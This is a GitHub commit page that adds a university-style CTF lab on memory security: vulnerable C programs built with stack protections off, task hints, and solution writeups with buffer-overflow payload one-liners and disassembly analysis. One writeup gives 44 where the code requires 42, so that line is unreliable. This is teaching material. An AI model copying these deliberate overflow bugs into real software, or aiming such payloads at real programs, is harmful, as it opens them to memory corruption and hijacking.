forked from open-education-hub/hardware-software-interface
-
Notifications
You must be signed in to change notification settings - Fork 12
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
chapters/memory-security/ctf: Add CTF lab
This commit adds the adapted material, including references and sentence rephrasing for enhanced readability, as well as solution writeups. Signed-off-by: Dimitrie Valu <[email protected]>
- Loading branch information
Showing
44 changed files
with
803 additions
and
0 deletions.
There are no files selected for viewing
7 changes: 7 additions & 0 deletions
7
chapters/memory-security/ctf/drills/tasks/feeling-chained/README.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,7 @@ | ||
# Feeling Chained | ||
|
||
Follow the sequence of operations in the functions of the binary at `feeling-chained/support/buff-ovf3`. | ||
Identify the necessary ones and... you already know how to call them. | ||
|
||
If you cannot find your way through this exercise, look for variables that you need to overwrite with specific values in order to finish the exploit, and think of their positioning on the stack. | ||
The previously mentioned [online example](https://medium.com/@0x-Singularity/exploit-tutorial-understanding-buffer-overflows-d017108edc85) is still highly relevant. |
10 changes: 10 additions & 0 deletions
10
chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/Makefile
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,10 @@ | ||
all: buff-ovf3 | ||
|
||
buff-ovf3: buff-ovf3.o | ||
gcc -no-pie -m32 buff-ovf3.o -o buff-ovf3 | ||
|
||
buff-ovf3.o: buff-ovf3.c | ||
gcc -g -m32 -z execstack -fno-PIC -fno-stack-protector -c buff-ovf3.c | ||
|
||
clean: | ||
rm -rf buff-ovf3.o buff-ovf3 |
9 changes: 9 additions & 0 deletions
9
chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/README.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,9 @@ | ||
# Solution | ||
|
||
By using the buffer overflow in `gateway()`, functions `f1(56, 13)` and `f3(13)` need to be called in this order, with those exact parameters. | ||
`f3` is the one that actually calls `get_flag()`. | ||
Calling `get_flag()` directly shouldn't work (a global variable is checked to make sure all steps were made). | ||
|
||
```sh | ||
python3 -c 'import sys; sys.stdout.buffer.write(b"A"*22 + b"\x0c\x87\x04\x08" + b"\xb7\x86\x04\x08" + b"\x38\x00\x00\x00" + b"\x0d\x00\x00\x00")' | ./buff-ovf3 | ||
``` |
85 changes: 85 additions & 0 deletions
85
chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/buff-ovf3.c
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,85 @@ | ||
// SPDX-License-Identifier: BSD-3-Clause | ||
|
||
#include <stdlib.h> | ||
#include <stdio.h> | ||
#include <string.h> | ||
|
||
#define MAXC 1000 | ||
|
||
static int my_global_var; | ||
static int my_other_global_var; | ||
|
||
void get_flag(void) | ||
{ | ||
const int start_offset = 5; | ||
unsigned int seed = 42; | ||
|
||
if (my_other_global_var != 0x7890) { | ||
printf("You're cheating, mate. Try harder\n"); | ||
return; | ||
} | ||
/* Here goes the obfuscated flag outputed by obfuscate.c */ | ||
char *flag = "\x66\x3b\x70\x76\x76\x16\x2f\x4b\x38\x60\x4b\x31\x52\x5a\x4a\x37" | ||
"\x20\x6c\x24\x21\x49\x5c\x08\x45\x41\x58\x39\x40\x35\x6f\x25\x43" | ||
"\x31\x70\x6d\x71\x56\x1e\x0a\x11\x32\x61\x07\x64\x25\x0b\x4c\x31" | ||
"\x0b\x43\x07\x0f\x7c\x4c\x0a\x6b\x37\x1d\x6c\x09\x70\x6a\x54\x5b" | ||
"\x2d\x5d\x1a\x46\x31\x70\x24\x2b\x51\x2c\x6d\x06\x16\x47\x70\x4b" | ||
"\x71"; | ||
|
||
int i = 0; | ||
int iflag = 0; | ||
int garbage; | ||
char *res = (char *)malloc(MAXC); | ||
|
||
while (flag[iflag]) { | ||
garbage = rand_r(&seed) % 5; | ||
while (garbage--) { | ||
rand_r(&seed); | ||
++iflag; | ||
} | ||
res[i++] = (flag[iflag] - 1) ^ ((start_offset + iflag) % 128) ^ (rand_r(&seed) % 128); | ||
++iflag; | ||
} | ||
res[i] = 0; | ||
|
||
puts(res); | ||
} | ||
|
||
void f3(int x) | ||
{ | ||
if (x == 13 && my_global_var == 0x1234) { | ||
my_other_global_var = 0x7890; | ||
get_flag(); | ||
} else { | ||
printf("You missed something\n"); | ||
} | ||
} | ||
|
||
void f2(void) | ||
{ | ||
printf("I dont do nothing\n"); | ||
} | ||
|
||
void f1(int a, int b) | ||
{ | ||
if (a + b == 69) { | ||
printf("You're doing great\n"); | ||
my_global_var = 0x1234; | ||
} else { | ||
printf("You got the params wrong\n"); | ||
} | ||
} | ||
|
||
void gateway(void) | ||
{ | ||
char buff1[10]; | ||
|
||
fgets(buff1, 300, stdin); | ||
} | ||
|
||
int main(void) | ||
{ | ||
gateway(); | ||
|
||
return 0; | ||
} |
Binary file added
BIN
+19.3 KB
chapters/memory-security/ctf/drills/tasks/feeling-chained/support/buff-ovf3
Binary file not shown.
7 changes: 7 additions & 0 deletions
7
chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/README.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,7 @@ | ||
# Hidden in Plain Sight | ||
|
||
The `hidden-in-plain-sight-1/support/link` binary provides everything you need. | ||
Find a way to use it. | ||
> **TIP:** If you want a main function to be done right, you gotta do it yourself. | ||
If you are having trouble solving this exercise, check [this](https://stackoverflow.com/questions/15441877/how-do-i-link-object-files-in-c-fails-with-undefined-symbols-for-architecture). |
13 changes: 13 additions & 0 deletions
13
chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/Makefile
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,13 @@ | ||
all: a.out | ||
|
||
a.out: link main.o | ||
gcc -no-pie -m32 link main.o -o a.out | ||
|
||
link: link.c | ||
gcc -g -m32 -z execstack -fno-PIC -fno-stack-protector -c -o link link.c | ||
|
||
main.o: main.c | ||
gcc -g -m32 -z execstack -fno-PIC -fno-stack-protector -c main.c | ||
|
||
clean: | ||
rm -rf link main.o a.out |
11 changes: 11 additions & 0 deletions
11
...ers/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/README.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,11 @@ | ||
# Solution | ||
|
||
Looking at the disassembly of the `link` binary, it is noticeable that there is no `main()` function. | ||
This is a clear indicator that we have to find a way to call it ourselves. | ||
|
||
We define a `get_flag()` function prototype as void (you may be able to skip this step, but there will be an implicit declaration error during compilation) and we call it in our main function. | ||
We then compile and assemble the file: | ||
`gcc -g -m32 -fno-PIC -c main.c` | ||
|
||
We then link it to the `link` binary: | ||
`gcc -no-pie -m32 link main.o -o a.out` |
36 changes: 36 additions & 0 deletions
36
chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/link.c
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,36 @@ | ||
// SPDX-License-Identifier: BSD-3-Clause | ||
|
||
#include <stdio.h> | ||
#include <stdlib.h> | ||
#define MAXC 1000 | ||
|
||
void get_flag(void) | ||
{ | ||
const int start_offset = 5; | ||
unsigned int seed = 42; | ||
|
||
/* Here goes the obfuscated flag outputed by obfuscate.c */ | ||
char *flag = "\x66\x3b\x70\x76\x76\x16\x2f\x4b\x38\x60\x4b\x31\x52\x5a\x5a\x37" | ||
"\x20\x6a\x24\x21\x49\x72\x08\x45\x41\x1a\x25\x40\x35\x55\x25\x43" | ||
"\x1c\x70\x6d\x7a\x56\x1e\x0a\x11\x0c\x61\x07\x64\x0d\x08\x51\x31" | ||
"\x0b\x43\x07\x1e\x7c\x53\x0a\x52\x37\x59\x6c\x09\x70\x54\x54\x61" | ||
"\x2d\x5d\x1a\x46\x35\x70\x24\x2b\x60"; | ||
|
||
int i = 0; | ||
int iflag = 0; | ||
int garbage; | ||
char *res = (char *)malloc(MAXC); | ||
|
||
while (flag[iflag]) { | ||
garbage = rand_r(&seed) % 5; | ||
while (garbage--) { | ||
rand_r(&seed); | ||
++iflag; | ||
} | ||
res[i++] = (flag[iflag] - 1) ^ ((start_offset + iflag) % 128) ^ (rand_r(&seed) % 128); | ||
++iflag; | ||
} | ||
res[i] = 0; | ||
|
||
puts(res); | ||
} |
9 changes: 9 additions & 0 deletions
9
chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/main.c
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,9 @@ | ||
// SPDX-License-Identifier: BSD-3-Clause | ||
|
||
void get_flag(void); | ||
|
||
int main(void) | ||
{ | ||
get_flag(); | ||
return 0; | ||
} |
Binary file added
BIN
+4.72 KB
chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/support/link
Binary file not shown.
7 changes: 7 additions & 0 deletions
7
chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/README.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,7 @@ | ||
# Hidden in Plain Sight 2 | ||
|
||
Analyze the `hidden-in-plain-sight-2/support/link2` binary. | ||
Executing it is no longer a mystery, but it will be a bit more challenging to reach the flag. | ||
> **TIP:** Not all functions are private. | ||
In case you get stuck, feel free to take a look at [this](https://stackoverflow.com/questions/60261705/why-functions-locals-and-arguments-are-pushed-to-the-stack)! |
13 changes: 13 additions & 0 deletions
13
chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/Makefile
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,13 @@ | ||
all: a.out | ||
|
||
a.out: link2 main.o | ||
gcc -no-pie -m32 link2 main.o -o a.out | ||
|
||
link2: link.c | ||
gcc -g -m32 -z execstack -fno-PIC -fno-stack-protector -c -o link2 link.c | ||
|
||
main.o: main.c | ||
gcc -g -m32 -z execstack -fno-PIC -fno-stack-protector -c main.c | ||
|
||
clean: | ||
rm -rf link2 main.o a.out |
30 changes: 30 additions & 0 deletions
30
...ers/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/README.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,30 @@ | ||
# Solution | ||
|
||
In a nature similar to that of the previous exercise, we take a close look at the `objdump` disassembly output of the binary using the `objdump -D -M intel link2` command, specifically focusing on the `helper()` function: | ||
|
||
```asm | ||
0000012b <helper>: | ||
(...) | ||
137: 83 7d 08 2a cmp dword ptr [ebp + 8], 42 | ||
13b: 75 0d jne 0x14a <helper+0x1f> | ||
13d: 80 7d f4 58 cmp byte ptr [ebp - 12], 88 | ||
141: 75 07 jne 0x14a <helper+0x1f> | ||
143: e8 b8 fe ff ff call 0x0 <get_flag> | ||
``` | ||
|
||
The first `cmp` instruction at `0x137` compares the value at `[ebp + 8]` with `42`. | ||
This implies that the first argument passed to the helper() function is expected to be `42`. | ||
The second `cmp` instruction at `0x13d` compares the value at `[ebp - 12]` with `88`. | ||
Since it's comparing a single byte (`byte ptr`), we can infer that this corresponds to a `char` argument. | ||
Although it appears to be a local variable, if we look around a bit, we will notice why that is: | ||
|
||
```asm | ||
131: 8b 45 0c mov eax, dword ptr [ebp + 12] | ||
134: 88 45 f4 mov byte ptr [ebp - 12], al | ||
``` | ||
|
||
The value at `[ebp + 12]` is moved into the `eax` register - this corresponds to the second argument passed to the `helper` function. | ||
The lower byte of `eax`, `al`, the `char` that we are interested in, is then moved into a local variable. | ||
|
||
If both of the aforementioned comparisons are successful, the `get_flag()` function is called. | ||
Hence, we can infer that we need to call the `helper()` function using the two arguments above - the integer `44`, and the char `X`, which is `88` in decimal. |
43 changes: 43 additions & 0 deletions
43
chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/link.c
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,43 @@ | ||
// SPDX-License-Identifier: BSD-3-Clause | ||
|
||
#include <stdio.h> | ||
#include <stdlib.h> | ||
#define MAXC 1000 | ||
|
||
static void get_flag(void) | ||
{ | ||
const int start_offset = 5; | ||
unsigned int seed = 42; | ||
|
||
char *flag = "\x66\x3b\x70\x76\x76\x16\x2f\x4b\x38\x60\x4b\x31\x52\x5a\x73\x37" | ||
"\x20\x6c\x24\x21\x49\x58\x08\x45\x41\x30\x3f\x40\x35\x64\x25\x43" | ||
"\x0f\x70\x6d\x66\x56\x1e\x0a\x11\x32\x61\x07\x64\x37\x11\x53\x31" | ||
"\x0b\x43\x07\x0f\x7c\x56\x0a\x70\x37\x45\x6c\x09\x70\x54\x54\x77" | ||
"\x2d\x5d\x1a\x46\x0f\x70\x24\x2b\x54\x2d\x6d\x06\x16\x57\x70\x4b" | ||
"\x6f\x51\x7d\x17\x47\x19\x27\x3d\x0f\x2f\x77"; | ||
int i = 0; | ||
int iflag = 0; | ||
int garbage; | ||
char *res = (char *)malloc(MAXC); | ||
|
||
while (flag[iflag]) { | ||
garbage = rand_r(&seed) % 5; | ||
while (garbage--) { | ||
rand_r(&seed); | ||
++iflag; | ||
} | ||
res[i++] = (flag[iflag] - 1) ^ ((start_offset + iflag) % 128) ^ (rand_r(&seed) % 128); | ||
++iflag; | ||
} | ||
res[i] = 0; | ||
|
||
puts(res); | ||
} | ||
|
||
void helper(int a, char c) | ||
{ | ||
if (a == 42 && c == 'X') | ||
get_flag(); | ||
else | ||
printf("Keep trying\n"); | ||
} |
9 changes: 9 additions & 0 deletions
9
chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/main.c
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,9 @@ | ||
// SPDX-License-Identifier: BSD-3-Clause | ||
|
||
void helper(int a, char c); | ||
|
||
int main(void) | ||
{ | ||
helper(42, 'X'); | ||
return 0; | ||
} |
Binary file added
BIN
+5 KB
chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/support/link2
Binary file not shown.
8 changes: 8 additions & 0 deletions
8
chapters/memory-security/ctf/drills/tasks/indirect-business/README.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,8 @@ | ||
# Indirect Business | ||
|
||
The `indirect-business/support/buff-ovf` binary contains a classic vulnerability. | ||
Use the input to alter the data in your favor. | ||
|
||
If you experience a neural buffer overflow, take a look at the [relevant lab](https://cs-pub-ro.github.io/hardware-software-interface/Lab%2011%20-%20Buffer%20Management.%20Buffer%20Overflow/) and at [online examples](https://medium.com/@0x-Singularity/exploit-tutorial-understanding-buffer-overflows-d017108edc85). | ||
|
||
If that still doesn't work, keep in mind that the great cybersecurity expert named Sun Tzu was a big proponent of bruteforce attacks. |
10 changes: 10 additions & 0 deletions
10
chapters/memory-security/ctf/drills/tasks/indirect-business/solution/Makefile
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,10 @@ | ||
all: buff-ovf | ||
|
||
buff-ovf: buff-ovf.o | ||
gcc -no-pie -m32 buff-ovf.o -o buff-ovf | ||
|
||
buff-ovf.o: buff-ovf.c | ||
gcc -g -m32 -z execstack -fno-PIC -fno-stack-protector -c buff-ovf.c | ||
|
||
clean: | ||
rm -rf buff-ovf.o buff-ovf |
8 changes: 8 additions & 0 deletions
8
chapters/memory-security/ctf/drills/tasks/indirect-business/solution/README.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,8 @@ | ||
# Solution | ||
|
||
Use the buffer overflow to overwrite a string on the stack. | ||
This is going to be copied to a global variable that is checked before calling the `get_flag()` function. | ||
|
||
```sh | ||
python -c 'import sys; sys.stdout.buffer.write(b"A"*10 + b"Bye")' | ./buff-ovf | ||
``` |
61 changes: 61 additions & 0 deletions
61
chapters/memory-security/ctf/drills/tasks/indirect-business/solution/buff-ovf.c
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,61 @@ | ||
// SPDX-License-Identifier: BSD-3-Clause | ||
|
||
#include <stdlib.h> | ||
#include <stdio.h> | ||
#include <string.h> | ||
|
||
#define MAXC 1000 | ||
|
||
char buff[] = "Hey"; | ||
|
||
void get_flag(void) | ||
{ | ||
const int start_offset = 5; | ||
unsigned int seed = 42; | ||
|
||
/* Here goes the obfuscated flag outputed by obfuscate.c */ | ||
char *flag = "\x66\x3b\x70\x76\x76\x16\x2f\x4b\x38\x60\x4b\x31\x52\x5a\x68\x37" | ||
"\x20\x62\x24\x21\x49\x43\x08\x45\x41\x1d\x16\x40\x35\x7d\x25\x43" | ||
"\x0b\x70\x6d\x7e\x56\x1e\x0a\x11\x03\x61\x07\x64\x0d\x15\x55\x31" | ||
"\x0b\x43\x07\x04\x7c\x56\x0a\x23\x37\x1f\x6c\x09\x70\x19\x54\x3d" | ||
"\x2d\x5d\x1a\x46\x2d"; | ||
|
||
int i = 0; | ||
int iflag = 0; | ||
int garbage; | ||
char *res = (char *)malloc(MAXC); | ||
|
||
while (flag[iflag]) { | ||
garbage = rand_r(&seed) % 5; | ||
while (garbage--) { | ||
rand_r(&seed); | ||
++iflag; | ||
} | ||
res[i++] = (flag[iflag] - 1) ^ ((start_offset + iflag) % 128) ^ (rand_r(&seed) % 128); | ||
++iflag; | ||
} | ||
res[i] = 0; | ||
|
||
puts(res); | ||
} | ||
|
||
void check_static_var(void) | ||
{ | ||
if (!strcmp(buff, "Bye")) | ||
get_flag(); | ||
else | ||
printf("Try again\n"); | ||
} | ||
|
||
int main(void) | ||
{ | ||
char local_buff[10]; | ||
char message[10]; | ||
|
||
fgets(message, 20, stdin); | ||
strcpy(buff, local_buff); | ||
|
||
check_static_var(); | ||
|
||
return 0; | ||
} |
Binary file added
BIN
+19.1 KB
chapters/memory-security/ctf/drills/tasks/indirect-business/support/buff-ovf
Binary file not shown.
Oops, something went wrong.